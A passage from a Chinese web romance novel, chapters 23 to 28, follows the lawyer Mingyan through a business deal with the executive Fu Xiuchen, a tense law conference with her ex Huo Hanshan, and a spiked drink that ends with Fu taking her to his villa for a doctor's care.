他顿了顿,看着明嫣微微变化的脸色,继续道:“就算你侥幸拿到了点什么,你以为你能安然无恙地带出去?打草惊蛇之后,别说证据,你和你的当事人,甚至你的律所,都可能惹上更大的麻烦。” 每一个字都像锤子,敲在明嫣的心上,让她刚刚升起的那点不甘和倔强一点点碎裂,取而代之的是一种冰冷的后怕和无力感。 她只想着取证,却忽略了这背后可能牵扯的复杂势力和风险。 她太急于证明自己,以至于有些冒进了。 看着明嫣渐渐黯下去的眼神和微微咬紧的下唇,傅修沉眼底深处掠过一丝连他自己都未曾察觉的缓和。 他并非要打击她,只是必须让她看清现实。 “这件事,交给我来处理,是最快也是最安全的方式。” 他的语气放缓了些许,“许宴清是我朋友,由他出面,调取当晚的监控,询问相关侍应生,比你们像无头苍蝇一样乱撞要有效得多,也不会引起对方警觉。” 明嫣沉默了。 她不得不承认,傅修沉说的是最优解。 以他的身份和与许宴清的关系,处理这种事轻而易举,而对她来说难如登天。 只是,无缘无故承受他这么大的人情…… 更何况还是她大哥的死对头…… “傅总,谢谢您的好意,但是……” 她深吸一口气,还是试图保持距离,“这毕竟是我的工作,我不想……” “不想欠我人情?” 第23章 你这万年铁树终于要开花了? “……” 明嫣哪儿能料到他把话说得这么直白,一时间都不知道该怎么回。 傅修沉仿佛看穿了她的心思,他微微后靠,指尖在沙发扶手上轻轻敲击,语气平淡无波,听不出什么情绪,“明律师不必觉得是欠人情,生意场上,互惠互利而已。” 他抬眸,目光沉静地落在她脸上,“傅氏集团在江南的部分产业,近期正好有一些知识产权维护和合同纠纷需要处理,之前的合作律所合约即将到期” “如果明律师的律所有兴趣,我们可以谈谈合作。你帮我处理这些案子,我帮你解决眼前的麻烦,很公平的交易。” 明嫣怔住了。 傅氏集团的业务?! 这对她这种刚起步的小律所来说,简直是天上掉馅饼! 是足以让律所一跃跻身本地前列的巨大机遇! 她瞬间明白了傅修沉的用意。 以退为进,将一场可能的“人情债”变成了平等的“商业合作”。 这个男人…… 太懂得如何拿捏人心了。 见她沉默,傅修沉微微挑眉,“怎么?明律师是对自己的专业能力没有信心,还是觉得傅氏的业务配不上你的律所?” “当然不是!”明嫣几乎是下意识地反驳。 话一出口,她才意识到自己已然落入了他的节奏。 傅修沉的唇角几不可察地弯了一下,稍纵即逝,“那就这么说定了,你回去后,可以让你的助理把律所的资料发一份给周慕言,后续他会跟你对接。” 他不再给明嫣犹豫的机会,直接拿出手机,拨通了一个号码,“宴清,回来一下。” 没过一分钟,包厢门被推开,许宴清探进头来,笑得一脸暧昧:“哟,咱们的傅大公子跟美人儿谈完心了?” 傅修沉没理会他的调侃,“上个月十六号晚上,B区‘海棠’包厢的监控和侍应生名单,调出来,查一下有没有一个叫‘李强’的人,以及当晚他和飞跃广告的人接触情况。” 许宴清先是愣了一下,随即收敛了玩笑神色,点了点头:“行,我马上让人去查。” 不得不说,许宴清的办事效率极高,一个电话打出去,几句话就交代清楚了。 挂断电话,他对傅修沉比了个“OK”的手势:“搞定了,最晚明天下午给你消息。” 傅修沉颔首,看向明嫣:“听到了?明天下午,等消息。” 整个过程行云流水,不过短短几分钟,就解决了明嫣奔波数日都未必能搞定的难题。 眼见着事情办完,明嫣不便久留,站起身来,“那……我就不打扰傅总了,先告辞了。” 她转身欲走。 “等等。”傅修沉忽然叫住她。 明嫣疑惑回头。 只见傅修沉站起身,拿起自己搭在沙发背上的西装外套,几步走到她面前。 男人高大的身影带来一股无形的压迫感,带着淡淡雪茄和冷冽木质香的气息瞬间将她笼罩。 明嫣下意识地后退了半步。 傅修沉动作顿了一下,随即神色如常地将手中的西装披在了她肩上,语气平淡,听不出什么波澜:“披着吧。” 西装上还残留着他的体温和气息,宽大得几乎将娇小的她整个裹住,裙摆下的风光被严严实实地遮住。 明嫣微微一僵,下意识地想拒绝:“不用了傅总,我……” “别动。” 傅修沉打断她,声音不高,只是在收回手的时候,指尖似是若有似无地擦过她的肩膀…… 他垂眸看着她,走廊的光线在他眼底投下深深的阴影,喉结几不可察地滚动了一下,随即移开视线,率先拉开了包厢门,“走吧,我送你下去。” 明嫣到嘴边的拒绝的话咽了回去。 她拢了拢身上过于宽大的西装外套,低声道:“谢谢。” 两人一前一后走出包厢。 傅修沉将她送到楼梯口,便停下了脚步,“我就不下去了,让许宴清的人送你们回去。” “好,再次感谢傅总。”明嫣点了点头,没有再多言,快步走下楼梯。 傅修沉站在原处,目光深邃地注视着那道纤细的背影消失在楼梯转角,直到完全看不见,他才缓缓收回视线,抬手,指腹无意识地摩挲了一下刚才触碰过她肩头的指尖。 …… 楼下,陆奉归正坐立不安地等在大厅,一见明嫣下来,身上还披着件明显属于男人的昂贵西装,顿时瞪大了眼睛,连忙迎了上去:“老板!你没事吧?傅总他没把你怎么样吧?” 明嫣摇了摇头,“没事,走吧,事情解决了。” “解决了?”陆奉归又惊又喜,还想再问,却被明嫣用眼神制止。 许宴清安排的车已经等在门口,两人上了车,迅速离开了这个是非之地。 …… 而此时的二楼走廊,许宴清不知何时又晃了回来,胳膊搭在傅修沉肩膀上,看着车子驶离的方向,笑得一脸暧昧八卦。 “可以啊傅少,英雄救美,绅士送衣,一套操作行云流水……赶紧说说,这小美人儿是哪家的千金?以前没在圈里见过啊?长得是真绝色!你这万年铁树终于要开花了?” 傅修沉面无表情地拂开他的胳膊,转身往包厢走,语气淡漠:“明燃的妹妹。” “哦,明燃的妹妹啊……”许宴清下意识地重复了一句,随即猛地反应过来,声音陡然拔高,像是被踩了尾巴的猫,“谁妹妹?!明瘸子还有妹妹呢?!靠!长这么好看?!” 他简直不敢相信自己的耳朵! 那个跟他们从小斗到大,脾气又臭又硬,因为早年腿受过伤有点微跛被他们私下叫“明瘸子”的明燃,竟然有这么个水灵灵的妹妹?! 这基因突变也太离谱了吧! 傅修沉没搭理他震惊的怪叫,径自走回包厢,拿起之前那杯没喝完的酒,走到巨大的落地窗前。 窗外是江南璀璨的夜景,流光溢彩,繁华如梦。 他的目光却仿佛没有焦点,只是透过玻璃,望着明嫣离开的方向,眸光深沉难辨,指间的酒杯微微晃动,折射出细碎的光。 许宴清跟了进来,满脸坏笑:“傅少,要不你牺牲一下色相,去勾搭一下?你说,如果明瘸子知道你把他的宝贝妹妹给拐跑了,会不会扛着四十米大刀从国外杀回来跟你拼命?” 傅修沉仰头将杯中酒一饮而尽,喉结滚动,侧脸线条在昏暗光线下显得格外冷硬。 他放下酒杯,发出清脆的声响,没有回答许宴清的话,只是淡淡地说了一句:“走了。” 说完,不等许宴清反应,便拿起自己的东西,大步离开了包厢。 许宴清看着他离开的背影,摸了摸下巴,脸上露出一个玩味的笑容。 这下—— 可有好戏看了。 第24章 霍寒山……也会去? 第二天下午,明嫣果然准时收到了许宴清那边发来的资料。 资料非常详尽,包括清晰的监控截图,以及当晚侍应生的证词录音,清楚地证明了飞跃广告的负责人确实通过明嫣当事人公司的那名前员工,意图构陷栽赃。 证据确凿,足以逆转整个案子。 明嫣立刻联系了当事人,将证据提交。 对方公司在铁证面前,态度立刻软化,最终同意撤诉并道歉,还象征性地赔偿了一笔名誉损失费。 案子圆满解决,嫣然律所的名气更上一层楼。 而紧接着,周慕言也主动联系了明嫣,正式就傅氏集团部分业务的法务委托进行洽谈。 过程出乎意料的顺利,傅修沉似乎早已交代过,周慕言完全没有刁难,很快便敲定了合作框架。 虽然只是傅氏庞大业务体系中很小的一部分,但对明嫣律师事务所而言,已然是质的飞跃。 明嫣将全部精力都投入到了工作中,用忙碌麻痹自己。 至于霍寒山…… 那天之后,他并没有再直接出现在律所。 但他似乎并没有放弃。 明嫣会收到没有署名的花束,每天准时送到律所前台,卡片上只有简单的“对不起”三个字。 她会让陆奉归直接处理掉。 她偶尔会在律所楼下,看到一辆黑色的宾利车静静地停在角落,一停就是很久。 她选择视而不见。 她甚至更换了律所的座机号码,只对少数重要客户公开。 她像是在自己的世界周围筑起了一道无形的高墙,坚决地将那个男人隔绝在外。 日子仿佛又恢复了表面的平静。 直到一周后,明嫣接到了一个意外的电话。 是她在京都读研时的导师,国内法学界的泰斗——陈清河教授。 “明嫣啊,没打扰你工作吧?”陈教授的声音一如既往的和蔼。 “陈老师?您怎么想起给我打电话了?”明嫣有些惊讶,连忙放下手头的工作。 “下周末在江南有个法学学术交流会,规格挺高的,来了不少业内顶尖人物,还有几个国外的专家。我记得你之前对跨境知识产权很感兴趣,这次有个相关的专题论坛,我想着你就在江南,有没有兴趣来听听?也算帮老师撑撑场面。”陈教授笑着发出邀请。 明嫣心中一动。 这样的高端学术交流会,对于拓宽眼界和积累人脉非常有帮助。 而且,更重要的是能见到导师和那么多前辈,机会难得。 她几乎没有犹豫:“好的,陈老师,我一定准时到!谢谢您想着我。” “好好好,那我把具体时间和地址发给你。对了,” 陈教授像是忽然想起什么,“这次寒山也会作为青年律师代表做主题发言,你之前不是一直喜欢缠着寒山问东问西嘛,这次正好可以交流交流。” 明嫣脸上的笑容瞬间僵住。 霍寒山……也会去? 她的心猛地沉了下去。 …… 傅氏集团办公室。 傅修沉刚结束一个视频会议,手机响起,是许宴清。 “喂,我说傅少,周末有个法学交流会,给你留了张请柬,去不去?听说挺多大佬的,你家法务部不是正好要物色新的合作伙伴吗?去瞅瞅?” 傅修沉揉了揉眉心,对这种应酬性质的会议兴趣不大。 他刚要拒绝,脑海中却突然闪过周慕言前几天随口提过的一句——明嫣律师事务所好像也收到了她导师的邀请…… 他的动作顿住。 沉默了几秒,他改变了主意,对着电话淡淡道: “时间地点发我。” …… 几天后,法学学术交流会如期在江南国际会议中心举行。 会场门口人头攒动,来自全国各地的法学专家、学者、律师精英们汇聚一堂,气氛庄重而热烈。 明嫣特意选了一套剪裁利落的深灰色西装套裙,妆容清淡,长发挽起,显得专业又干练。 她提前了十五分钟到达,在签到处领了参会证和资料,便径直走向主会场,找了个相对靠后且靠近过道的位置坐下。 她打算听完上午的主论坛,下午找个借口提前离开,尽量避开可能与霍寒山碰面的机会。 会场内灯光璀璨,座无虚席。 陈教授作为主办方之一,正在台上做开幕致辞,声音洪亮,充满激情。 明嫣努力将注意力集中在演讲内容上,但眼角的余光却不受控制地扫视着前排和入口处。 心脏在胸腔里不受控制的加速跳动,带着一种莫名的紧张和……一丝连她自己都不愿承认的烦躁。 时间一分一秒地过去,主论坛顺利进行。 几位国内外知名法学大咖的演讲精彩纷呈,引得台下掌声阵阵。 明嫣渐渐被学术内容吸引,暂时忘记了霍寒山带来的困扰。 就在上午的议程即将结束,主持人宣布茶歇的时候,会场侧门被推开,一道熟悉的高大身影在一众人员的簇拥下,缓步走了进来。 即使隔着很远的距离,即使会场内人影攒动,明嫣还是一眼就认出了他—— 霍寒山。 他穿着一身熨帖的深蓝色西装,身姿挺拔,面容冷峻,周身散发着一种生人勿近的凛冽气场。 他似乎清瘦了些,但眼神却比以往更加锐利深邃。 他的出现,立刻吸引了周围不少人的目光和低声议论。 “看,是霍寒山!” “明寒律所的霍寒山?他居然也来了?” “听说他最近在江南,看来是真的……” “他下午有主题发言,期待一下……” 明嫣的心脏猛地一缩,几乎是下意识地低下头,假装翻看手中的会议资料,希望借助前面座位的遮挡,不被发现。 她能感觉到那道熟悉的视线似乎扫过会场,带着一种搜寻的意味。 她的脊背瞬间绷紧,手心微微出汗。 好在,霍寒山似乎并没有发现她,在工作人员的引导下,走向了前排的贵宾席。 明嫣暗暗松了口气,却又觉得胸口像是堵了一团棉花,闷得难受。 她站起身,准备趁茶歇时间出去透透气,避开可能发生的任何接触。 然而,她刚走到会场门口,就被一个熟悉的声音叫住。 “明嫣?” 第25章 剑拔弩张的修罗场 明嫣脚步一顿,回过头,只见陈清河教授正笑容满面地朝她走来,身边还跟着几位学界前辈。 “陈老师。” “来来来,正好给你介绍几位老师……” 陈教授热情地拉过她,“这位是张教授,这位是李院长,都是知识产权领域的权威……这就是我常跟你们提起的明嫣,我最有灵气的学生之一,现在在江南自己开了律所,很有闯劲!” 明嫣连忙恭敬地跟几位前辈打招呼寒暄。 就在这时,一道低沉冷冽的声音自身后响起:“老师……” 明嫣的身体瞬间僵住。 是霍寒山。 他不知何时也走了过来,就站在她身后不远处。 几位前辈显然都认识他,笑着回应:“寒山来了,正说明嫣呢,你们应该认识吧?据说一个人在江南开了一家律所,真是后生可畏啊!” 霍寒山的目光越过几位前辈,直直地落在明嫣的背影上,声音听不出什么情绪:“是,明律师……很优秀。” 明嫣能感觉到那目光如同实质,烙在她的背上。 她强迫自己转过身,脸上维持着无懈可击的职业微笑,迎上霍寒山的视线,语气疏离而客气:“霍律师,过奖了。” 四目相对。 霍寒山的眼底翻涌着复杂的情绪。 而明嫣的眼中,只有一片冰封的平静,仿佛在看一个无关紧要的陌生人。 这眼神,比任何指责都更让霍寒山心痛。 他喉结滚动了一下,似乎想说什么。 就在这时,会场入口处又传来一阵轻微的骚动。 众人下意识地循声望去。 只见傅修沉在一行人的陪同下,迈步走了进来。 他今天穿了一身经典的黑色西装,没有系领带,衬衫领口随意地解开两颗扣子,少了几分商场的凌厉,多了几分慵懒随性,却依旧气场强大,不容忽视。 “傅修沉也来了?” “跃华生物的傅修沉?他对法学交流也有兴趣?” “可能是来物色法务合作伙伴的吧……” 傅修沉的目光淡淡扫过全场,最后精准地定格在明嫣身上。 他唇角勾起一抹极淡的弧度,径直走了过来。 “陈教授,各位老师,好久不见。”他先跟几位学界泰斗打了招呼,态度谦和得体。 陈教授显然也认识他,笑着寒暄。 傅修沉这才像是刚看到明嫣和霍寒山一样,目光在两人之间逡巡片刻,最后落在明嫣身上,语气自然熟稔:“明律师,又见面了。” 明嫣没想到傅修沉也会来,微微怔了一下,随即客气回应:“傅总,您好。” 霍寒山的脸色在傅修沉出现的那一刻就彻底沉了下来,一种从未有过的暴躁感让他几乎控制不住情绪。 傅修沉仿佛没有察觉到霍寒山身上散发的冷气,转而看向他,语气平淡地打了个招呼:“霍律师。” 霍寒山冷冷地瞥了他一眼,连基本的客套都懒得维持,只是从鼻腔里发出一个几不可闻的‘嗯’字。 气氛瞬间变得有些微妙和尴尬。 几位前辈都是人精,立刻察觉到这三人之间不同寻常的气场。 有点儿像某种剑拔弩张的修罗场…… 陈教授连忙打圆场:“哈哈,看来你们年轻人都认识啊,好好,年轻人多交流是好事!茶歇时间快结束了,我们先进去吧?” 众人纷纷附和,朝着会场内走去。 霍寒山下意识地想靠近明嫣,却被傅修沉不着痕迹地隔开。 傅修沉很自然地走在明嫣身侧,微微侧头,用只有两人能听到的声音低语了一句:“你发给周慕言的方案我看过了,有些东西还需要再细化一下……” 温热的气息拂过耳尖,明嫣只觉得耳根微热,含糊地应了一声。 而这一幕,恰好被落后半步的霍寒山看在眼里。 他死死攥紧了拳头,指节泛白。 …… 茶歇结束后,会议进入专题论坛环节。 明嫣刻意选了一个远离霍寒山的位置坐下,傅修沉则在她斜后方隔了几排落座,姿态慵懒,仿佛真的只是来旁听。 霍寒山的主题发言被安排在论坛后半段。 当他走上讲台时,台下响起热烈的掌声。 不得不说,霍寒山在专业领域的确有着非凡的才华和魅力。 逻辑清晰,观点犀利,引用的案例典型且分析透彻,整个演讲过程气场全开,牢牢吸引着台下听众的注意力。 就连明嫣,也不得不承认,抛开个人感情,霍寒山的专业能力是顶尖的。 她坐在台下,看着那个在聚光灯下侃侃而谈的男人,恍惚间仿佛回到了五年前…… 那时的他,也是这般光芒万丈,让她心甘情愿地追随其后,为他披荆斩棘。 可是,只有真正靠近过的人才知道,那光芒有多冰冷。 他的世界里,似乎只有条理分明的法律条文和胜负分明的案件输赢,情感是冗余且需要被剔除的东西。 心脏像是被细密的针扎过,传来一阵绵密的刺痛。 那些共同奋斗的日夜,那些她以为坚不可摧的感情,最终却抵不过现实的冷漠和一次次失望。 她垂下眼眸,不再看他。 演讲结束,台下爆发出热烈的掌声。 霍寒山在掌声中微微鞠躬,目光却穿透人群,精准地找到了后排那个低着头的纤细身影。 他的眼神复杂,带着一丝不易察觉的期待。 期待她能看他一眼,哪怕只是对他专业能力的认可。 然而,明嫣始终没有抬头。 霍寒山的眼神黯了黯。 茶歇时间再次到来。 明嫣几乎是立刻起身,想避开可能出现的纠缠,快步走向洗手间。 她用冷水拍了拍脸,看着镜中的自己,努力平复心绪。 不能被他影响。 已经过去了。 她对自己说。 走出洗手间,却看到霍寒山就等在不远处的走廊拐角,似乎笃定了她会经过这里。 他手里拿着两杯咖啡,递过来一杯,声音低沉:“你喜欢的口味,双份奶,不加糖。” 明嫣的脚步顿住,看着那杯咖啡,心里像是打翻了五味瓶。 他还记得。 这种细节,他以前从来不会留意。 都是她追在他身后,絮絮叨叨地告诉他自己的喜好,而他多数时候只是敷衍地“嗯”一声。 而现在—— 他却用这种他曾经不屑一顾的方式,笨拙地试图靠近…… 第26章 啧,有好戏看咯…… 明嫣移开视线,语气冷淡,“我早就不喝咖啡了。” 霍寒山伸出的手僵在半空,眼底闪过一丝无措。 为什么没用? 是哪里出错了? 理性分析出的步骤,在她身上统统失效。 他像是面对一道没有标准答案的难题,所有的逻辑和推理都失去了作用。 这种感觉让他恐慌。 “明嫣,”他上前一步,挡住她的去路,语气带着他自己都未察觉的急切和生硬,“我们谈谈,五分钟就好。” “霍寒山,你到底想怎么样?”她的声音带着深深的无力感,“你这样……真的很没意思。” “我……”霍寒山张了张嘴,那些在脑海里演练过无数次的道歉和保证,此刻却显得如此苍白无力。 他最终只是干涩地说:“我知道我错了,给我一个机会,让我弥补。” “弥补?”明嫣几乎要笑出来,眼眶却不受控制地发热,“你怎么弥补?霍寒山,你根本不知道你错在哪里!你甚至不知道什么是爱!” 她的话像一把尖刀,狠狠刺中霍寒山。 他脸色一白,下意识地反驳:“我知道!我……” 他想说,他知道失去她有多痛苦,知道看不到她时心里空落落的,知道看到她和别人在一起时会烦躁得想毁掉一切…… 这些汹涌而陌生的情绪,几乎要将他吞噬,这难道不是爱吗? 可是,这些话堵在喉咙口,却怎么也说不出来。 他的情感认知是残缺的,他无法精准地描述和定义这种让他失控的感觉。 看着他哑口无言的样子,明嫣的心彻底沉了下去。 一个心生病了的人,她还能指望他什么? 遇见他,真是她这辈子最糟糕的一件事。 记忆的闸门一旦打开,汹涌的往事便不受控制地奔涌而出…… 明嫣记得,那时她刚刚上大学,她为了赶宿舍的门禁抄近路,走了一条没有路灯的小巷。 就是在那条漆黑的小巷里,她遇到了抢劫,对方抢了她的包还不算,竟对她生了歹意,用沾了乙醚的手帕捂着她的嘴就往巷子深处拖。 她拼命挣扎,恐惧到了极点。 就在她几乎绝望的时候,一个身影冲了过来。 黑暗中,她看不清那人的脸,只记得对方力气很大,动作狠厉。 混乱中,歹徒掏出了刀子,寒光一闪,她听到一声闷哼,接着是刀子落地的声音和歹徒仓皇逃跑的脚步声。 可那时药劲儿上来,她在一阵天旋地转中晕了过去。 而等她醒来时,已经躺在医院的病床上。 出院后,她到处寻找那晚的救命恩人。 可那个救她的人就像人间蒸发了一样。 直到半年后,她在一次校际模拟法庭大赛上,看到了代表学校主力出战的霍寒山。 他冷静、犀利、逻辑缜密,在法庭上光芒四射。 比赛间隙,她偶然听到他队友开玩笑地说:“寒山,你胸口那道疤还挺酷,什么时候弄的?今年夏天好像没见你有啊?” 霍寒山当时只是淡淡地回了句:“不小心划的。” 时间、位置……都对上了! 那一刻,明嫣的心跳几乎停止。 她几乎可以肯定,霍寒山就是那个在冬夜小巷里救了她的人! 从此,她的目光再也无法从他身上移开。 她开始有意无意地出现在他可能出现的地方,图书馆、自习室、法学讲座…… 她偷看他,记录他的喜好,制造各种‘偶遇’。 她鼓起勇气,当面向他表白,却被冷冷拒绝:“我不需要恋爱这种浪费时间的情感。” 她不死心,依旧像个小尾巴一样跟在他身后,帮他占座,给他带早餐,在他通宵准备案件时默默陪在门外…… 所有人都笑她傻,说她倒贴,说她热脸贴冷屁股。 可她不在乎。 因为她坚信,那个能在危急关头挺身而出救她的人,内心一定是温暖的,只是被一层冰冷的壳包裹住了。 她要用自己的热情,去融化那层壳。 …… 回忆如同老电影般在脑海中闪过。 那些年卑微而炽热的爱恋,那些被忽视的委屈,那些无数个等待的夜晚…… 最终都化为了冰凉和绝望。 心口传来一阵尖锐的疼痛,让明嫣几乎站立不稳。 霍寒山看着她眼中翻涌的痛苦和恍惚,心头一紧,下意识地又想伸手去扶她:“明嫣……” 就在他的手即将触碰到明嫣手臂的瞬间—— “寒山!” 一个娇嗲又带着急切的声音突兀地插了进来。 秦婉不知从哪里冒了出来,一把挽住霍寒山的胳膊,“寒山!我可找到你了!你怎么不接我电话啊……” 她这几日在江南是吃尽了苦头,也是好不容易托人才打听到霍寒山会参加今天的法学会议,她这才跑来守株待兔。 “你怎么来了?”看见来人,霍寒山忍不住皱眉。 “我妈妈的情况突然不好,我又联系不上你……” 霍寒山身体猛地一僵:“秦姨怎么了?” 秦婉眼圈一红,带着哭腔:“医生说可能是出现了排斥反应,血压一直掉,我又联系不上你……” 霍寒山的脸色瞬间变得极其难看。 秦婉的妈妈当年为了救他被车撞成重伤,这些年一直躺在ICU里。 情感冷漠症让他对多数情感迟钝,但对血缘亲情和既定责任,却有着近乎刻板的执着。 这是他目前为数不多能清晰感知到的担忧和责任。 他看了一眼明嫣,眼神挣扎而混乱。 一边是可能危在旦夕的秦姨,一边是刚刚情绪明显不对的明嫣。 理性告诉他,秦姨那边情况危急,他必须立刻去。 可是……明嫣…… 秦婉见状,心中不安,面上却更加凄惶,用力拉着他:“寒山,快走吧!我妈等不了啊!明嫣都这么大个人了,能有什么事?她又不是小孩子了,难道还需要你时时刻刻看着吗?” 是啊,明嫣是成年人,有自理能力。 而秦姨生命垂危,需要他。 两相比较,孰轻孰重,一目了然。 “我……”他看向明嫣,喉结滚动,最终只艰难地吐出几个字,“我……先回京都。” 说完,他甚至不敢再看明嫣的表情,几乎是半被秦婉拖着,匆匆离开了。 明嫣站在原地,看着他们消失的背影,脸上没有任何表情。 心,像是在一瞬间被彻底冻僵了。 连最后一丝因为回忆而产生的微弱动摇,也彻底消散。 看,这就是霍寒山。 在他的价值排序里,她永远是可以被轻易放弃和排在末位的选项。 她还在期望什么? 她深吸一口气,压下喉咙口的哽咽,转身,挺直脊背,朝着会场走去,拿起一杯香槟,一饮而尽。 冰凉的液体滑过喉咙,带来一丝短暂的麻痹。 她又拿起一杯。 就在这时,一个侍应生端着托盘走过,不小心撞了她一下,托盘上的酒洒了一些在她裙子上。 “对不起!对不起女士!”侍应生连忙道歉,手忙脚乱地递给她一张纸巾,又顺手从旁边拿过一杯新的香槟,“真是抱歉,这杯算我请您赔罪。” 明嫣心情糟糕,也没多想,接过那杯酒,点了点头:“没事。” 她没有注意到,不远处,许宴清正倚在柱子上,将刚才那一幕尽收眼底。 他脸上挂着玩世不恭的笑容,眼神却带着一丝看好戏的兴味。 他看见那个‘冒失’的侍应生离开后,悄悄对角落里的秦婉比了个‘OK’的手势…… 许宴清的唇角微勾,见明嫣毫无防备地将那杯被下了药的香槟,一饮而尽时,他这才慢慢地直起身,晃着酒杯朝着傅修沉所在的方向走去。 “啧,有好戏看咯……” 第27章 热……好热…… 此时的论坛会议已经进行到了尾声。 明嫣这会儿已然没了继续待下去的心情了。 只是,就在她起身准备离开的时候,突然察觉到一丝不对劲儿。 起初,她只是觉得有些闷热,以为是会场人多,空气不流通,她下意识地松了松领口,朝着人少的露台走去。 湿润的凉风吹拂而来,那股燥热非但没有缓解,反而像星火燎原般迅速蔓延至四肢百骸,甚至连心跳都莫名加速,视野开始微微晃动,一种虚软无力的感觉从骨头缝里钻出来。 不对…… 这感觉太诡异了! 她酒量不算差,一杯香槟绝不可能有这么大反应! 电光火石间,她猛地想起了刚才那个侍应生…… 明嫣当即知道是怎么回事儿了,她连忙去摸包里的手机,想要打电话求救,可手指却不受控制地发颤,连按亮屏幕都显得费力。 必须马上离开这里! 她强撑着发软的双腿,扶着墙壁,踉跄着朝会场出口走去。 视线越来越模糊,耳边嗡嗡作响,周围嘈杂的人声仿佛隔着一层水膜,听不真切。 她感觉自己像一条被抛上岸的鱼,呼吸困难,浑身滚烫。 “这位小姐?你怎么了?脸色这么差?”有人注意到她的异常,关切地上前询问。 明嫣张了张嘴,却发不出清晰的声音,只能胡乱地摇头,推开对方试图搀扶的手,继续艰难地往前挪动。 她不能留在这里,不能在这种状态下被任何人看到! 与此同时,会场另一角。 傅修沉正与一位海外法学专家低声交谈,目光却时不时状似无意地扫过明嫣之前所在的方向。 当他再次望去时,却发现那个位置空了。 他的眉头几不可察地蹙起。 几乎是同时,许宴清晃到了他身边,用手肘碰了碰他,压低声音,语气里带着几分唯恐天下不乱的戏谑:“喂,傅少,看那边……你的小美人儿好像不太对劲啊,一个人往出口去了,脚步虚浮,脸色潮红……啧啧,该不会是喝多了吧?” 傅修沉的眸色骤然一沉,下意识地循着他手指地方向望去—— 果然,在通往出口的走廊尽头,他看到了明嫣踉跄虚浮的背影,她正扶着墙壁,几乎站立不稳,仿佛下一秒就要软倒下去。 他甚至来不及跟正在交谈的专家说一句抱歉,猛地转身,大步流星地朝着明嫣的方向追去! “哎?傅……”那位专家一脸错愕。 许宴清连忙笑着打圆场,目光看向傅修沉的背影时,眸底却闪过一丝幸灾乐祸—— 啧,这下有好戏看了…… …… 傅修沉几乎是小跑着穿过长长的走廊,越是靠近洗手间区域,他的心就越是往下沉。 安静,太安静了。 当他推开女洗手间虚掩的门时,里面的一幕让他的呼吸几乎停止。 明嫣瘫坐在冰冷的瓷砖地上,背靠着墙壁,双眼迷蒙,脸颊是不正常的酡红,额前的碎发被汗水濡湿,黏在皮肤上。 她身上的连衣裙领口被她自己无意识地扯开了一些,露出精致的锁骨和一片细腻的肌肤,嘴里发出细碎的呜咽。 “明嫣!”傅修沉快步上前,蹲下身,试图扶起她。 他的触碰仿佛点燃了最后的引线。 明嫣像是溺水的人抓住了浮木,本能地缠了上来,滚烫的身体紧紧贴向他,一双柔软无骨的手胡乱地在他胸前摸索着,最后猛地揪住了他一丝不苟的领带,用力向下一拉—— “热……好难受……”她仰起头,迷离的眼眸里氤氲着水汽,毫无章法地就要朝着他的唇凑上来。 傅修沉下意识地偏头躲开。 绯色的薄唇蹭过了他的下颌线,留下一点湿濡滚烫的触感。 像电流窜过,带来一阵战栗。 傅修沉的喉结剧烈地滚动了一下,身体瞬间绷紧。 他深吸一口气,强行压下体内翻涌的躁动,大手握住她不安分的手腕,声音因为极力克制而显得异常沙哑低沉: “明嫣!看清楚,我是谁?” 明嫣此刻早已被药物剥夺了理智,只觉得靠近这个男人能缓解那股焚身的燥热。 她不满地扭动着身体,哼哼唧唧地又要凑上来,嘴里含糊地嘟囔着:“……热……好热……” 傅修沉闭了闭眼,知道再待下去绝对要出事。 他不再犹豫,猛地用力,将她打横抱起。 明嫣双臂本能地环住他的脖颈,滚烫的薄唇贴在他颈窝上蹭动…… 傅修沉浑身肌肉又是一僵,抱着她的手臂收紧了几分,几乎是咬着牙,用最快的速度脱下自己的西装外套,将她从头到脚严严实实地裹住,遮住那些引人遐想的春光。 他掏出手机,拨通了司机的电话,身体被怀里的少女蹭得像是着了火,声音却冷得能掉冰渣,“现在把车开到地下停车场的b2电梯口,立刻!马上!” …… 加长的豪华轿车内,气氛诡异而紧绷。 司机目不斜视地看着前方,将隔板升了起来,努力降低自己的存在感。 后座,傅修沉试图将像八爪鱼一样缠在自己身上的明嫣稍微推开一些,固定在她旁边的座位上。 可药效发作的明嫣力气大得惊人,而且极其不配合。 她只觉得身边的‘凉源’要离开,更加用力地缠上去,小手毫无章法地在他身上乱摸,从他紧绷的胸膛滑到结实的小腹,甚至还要往下…… 傅修沉倒吸一口凉气,猛地抓住她那只作乱的手,额头上青筋都跳了起来。 “别动!” 可明嫣根本听不进去,另一只手又攀上来,胡乱地扯着他的衬衫纽扣,嘴里发出委屈的呜咽声。 傅修沉这辈子都没这么狼狈过。 他被一个意识不清的女人撩拨得几乎失控,却还必须保持着最后的理智。 他只能一边费力地制住她两只不安分的手,一边用身体将她半压在座椅上,防止她乱动伤到自己。 这段通往他名下近郊别墅的路程,变得无比漫长而煎熬。 他身上昂贵的衬衫被她扯得皱巴巴,领带歪斜,颈侧甚至被她无意识地啃咬留下了几个暧昧的红痕。 每一下触碰,每一声嘤咛,都在挑战着他引以为傲的自制力…… 第28章 草莓印 十几分钟后。 距离交流会场地最近的某处别墅门口,接到电话的私人医生和两名女佣早已等候多时。 看到傅修沉抱着一个被西装裹得严实,还在不断扭动的女人下车时,医生立刻上前。 “傅先生。” “她被下了药,尽快处理。”傅修沉言简意赅,声音依旧带着未褪的沙哑。 他将明嫣小心地放在客厅宽大的沙发上,但明嫣的手依旧死死抓着他的衣襟不放。 医生连忙上前检查,初步判断后,迅速准备了镇静剂。 注射的过程并不顺利,明嫣极度抗拒,傅修沉不得不从背后半抱着她,将她牢牢禁锢在怀里,方便医生操作。 针尖刺入皮肤的细微痛感让明嫣呜咽了一声,挣扎的力道渐渐弱了下去,迷蒙的眼睛缓缓闭上,最终瘫软在傅修沉的怀里,呼吸变得绵长而均匀。 药效和镇静剂的双重作用下,她终于安静下来,陷入了沉睡。 世界骤然安静。 傅修沉维持着抱着她的姿势,一动不动,只有胸膛还在微微起伏,呼吸略显粗重。 怀中的身躯柔软而温热,隔着薄薄的衣料,似乎还能感受到之前那灼人的温度。 她安静睡着的模样,褪去了清醒时的疏离,长长的睫毛像两把小扇子,在眼下投下淡淡的阴影,脸颊还带着未褪尽的红晕,唇瓣微微张合,无意识地翕动着。 空气中弥漫着她身上淡淡的香气,混合着酒气和一丝属于她的独特甜香,无声地萦绕在鼻尖。 傅修沉深邃的目光落在她脸上,像是被什么无形的东西牵引着,久久没有移开。 他伸出手,指尖轻轻拂开她额前被汗水濡湿的碎发,动作带着他自己都未曾察觉的轻柔。 